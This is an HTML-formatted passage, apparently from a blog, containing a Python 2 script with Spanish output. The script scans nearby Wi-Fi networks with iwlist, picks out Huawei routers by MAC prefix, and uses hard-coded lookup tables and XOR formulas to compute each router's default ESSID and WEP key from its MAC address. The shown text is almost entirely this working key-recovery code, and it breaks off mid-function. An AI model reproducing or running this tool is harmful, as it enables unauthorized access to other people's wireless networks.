&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; ssid=[0,1,2,3,4,5,6,7,8,9,&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;,&#39;f&#39;]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; while i&amp;lt;12:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mac.insert(i,hex2dec(macz[i]));i=i+1&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; alfa = &quot;ESSID=&quot;+str(ssid[s1])+str(ssid[s2])+str(ssid[s3])+str(ssid[s4])+&quot; - Wepkey=&quot;+str(key[ya])+str(key[yb])+str(key[yc])+str(key[yd])+str(key[ye])&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; return alfa&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;def verifica(interfaz):&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; m = os.popen(&quot;whoami&quot;).read()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; g = m[:4]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; n = os.popen(&quot;id -un&quot;).read()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; h = n[:4]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; usuario = m[0:len(m)-1]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; print &quot;[+] Detección de usuario:&quot;, usuario&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; if (m == n) and g == &#39;root&#39; and h == &#39;root&#39;:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;[+] Escaneo iniciado con la interfaz&quot;, interfaz&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; comando = &quot;iwlist &quot; + interfaz + &quot; scan | grep Cell&quot;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hay = os.popen(comando).read()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lista = hay.split(&quot;\n&quot;)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; encontradas = 0&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; huaweii = 0&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; encontradas = len(lista) - 1&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;[+] Redes encontradas: &quot;, encontradas&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if len(lista) &amp;gt; 0:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for x in lista:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; y = x[-17:]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if len(y) == 17:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; macc = y.replace(&#39;:&#39;,&#39;&#39;)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; macc = macc.lower()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; huawei = es_huawei(macc[0:6])&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if huawei:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; huaweii += 1&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; z = wepkey(macc)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot; &amp;nbsp; &amp;nbsp;* MAC=&quot;, y, &quot;-&quot;,z&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot; &amp;nbsp; &amp;nbsp;- MAC=&quot;,y, &quot; No huawei!&quot;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;[+] Huawei detectadas:&quot;, huaweii&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
